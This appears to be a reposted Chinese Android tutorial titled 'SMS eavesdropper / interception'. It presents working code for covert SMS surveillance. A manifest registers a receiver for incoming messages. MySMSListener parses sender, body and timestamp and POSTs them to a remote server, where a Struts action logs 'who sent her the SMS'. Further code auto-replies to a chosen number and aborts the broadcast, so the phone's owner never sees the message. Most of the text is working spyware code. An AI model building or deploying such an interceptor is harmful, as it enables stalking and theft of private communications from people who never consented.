Android短信窃听器短信拦截

来源:互联网 发布:网络舆情监测员职责 编辑:程序博客网 时间:2024/03/29 13:43

1、修改frombean:VideoForm中增加短信时间、内容和发送者属性。

2VideoManageAction中增加方法getSMS()来获取窃听器发送的短消息。

public ActionForward getSMS(ActionMapping mapping, ActionForm form,

HttpServletRequest request, HttpServletResponse response)

throws Exception {

VideoForm formbean = (VideoForm)form;

System.out.println("发送时间:"+ formbean.getTime());

System.out.println("谁给她发的短信:"+ formbean.getSender());

System.out.println("内容:"+ formbean.getContent());

return mapping.findForward("result");

}

客户端SMS_Listener

1、 清单文件中订阅广播

<receiver android:name=".MySMSListener">

  <intent-filter>

      <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

 </intent-filter>

</receiver>

添加短信接收权限,访问网络权限

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

2、 客户端MySMSListener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.HashMap;

import java.util.Map;

import cn.class3g.utils.SocketHttpRequester;

public class MySMSListener extends BroadcastReceiver {

public void onReceive(Context context, Intent intent) {

Object[] pdus = (Object[]) intent.getExtras().get("pdus");

if (pdus != null && pdus.length > 0) {

SmsMessage[] messages = new SmsMessage[pdus.length];

for (int i = 0; i < messages.length; i++) {

byte[] pdu = (byte[]) pdus[i];

messages[i] = SmsMessage.createFromPdu(pdu);

}

for (SmsMessage msg : messages) {

String content = msg.getMessageBody();

String sender = msg.getOriginatingAddress();

Date date = new Date(msg.getTimestampMillis());

SimpleDateFormat sdf = new SimpleDateFormat(

"yyyy-MM-dd HH:mm:ss");

String sendTime = sdf.format(date);

Map<String,String> param = new HashMap<String,String>();

param.put("method", "getSMS");

param.put("sender", sender);

param.put("content", content);

param.put("time", sendTime);

String path = 

"http://192.168.1.100:8080/videoweb/video/manage.do";

try {

SocketHttpRequester.post(path, param, "UTF-8");

} catch (Exception e) {

Log.e("TAG",e.toString());

}

}

}

}

}

SmsMessage

public static SmsMessage createFromPdu (byte[] pdu)

从原始的PDUprotocol description units)创建一个SmsMessage。这个方法很重要,在我们编写短信接收程序要用到,它从我们接收到的广播意图中获取的字节创建SmsMessage

public String getOriginatingAddress ()
String返回SMS信息的来电地址,或不可用时为null

public String getMessageBody ()
以一个String返回消息的主体,如果它存在且是基于文本的。

短信管理器 : SmsManager

1). 在 Android 2.0 以前 应该使用 android.telephony.gsm.SmsManager

   之后应该用 android.telephony.SmsManager;

2). 获取系统默认的短信管理器 

SmsManager smsManager = SmsManager.getDefault();

3). 按照每条短信最大字数来拆分短信

   List<String> divideContents = smsManager.divideMessage(content);

4). 发送短信

       smsManager.sendTextMessage(destinationAddress, scAddress, text, sentIntent, deliveryIntent)

             -- destinationAddress:目标电话号码

             -- scAddress:短信中心号码,测试可以不填

             -- text: 短信内容

             -- sentIntent:发送 -->中国移动 --> 中国移动发送失败 --> 返回发送成功或失败信号 --> 后续处理   即,这个意图包装了短信发送状态的信息

             -- deliveryIntent 发送 -->中国移动 --> 中国移动发送成功 --> 返回对方是否收到这个信息 --> 后续处理  即:这个意图包装了短信是否被对方收到的状态信息(供应商已经发送成功,但是对方没有收到)。

 

5). 声明短信发送权限

     * AndroidManifest.xml

       <uses-permission android:name="android.permission.SEND_SMS"/>

3、 进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复

添加短信发送权限:

<uses-permission android:name="android.permission.SEND_SMS"/>

MySMSListener的onReceive中添加代码如下

String sendContent = sdf.format(date) + ":" + sender + "--"

+ content;

Log.i("TAG",sendContent);

if(sender!= null && sender.endsWith("5556")){//5556".equals(sender)){

SmsManager smsManager = SmsManager.getDefault();

smsManager.sendTextMessage("5556",null,"game over",null,null);

this.abortBroadcast(); //终止广播

}

测试:

启动另一个模拟器,向部署客户端的模拟器发送短信,查看服务器端后台输出,并且观察客户端运行模拟器是否有短信接收。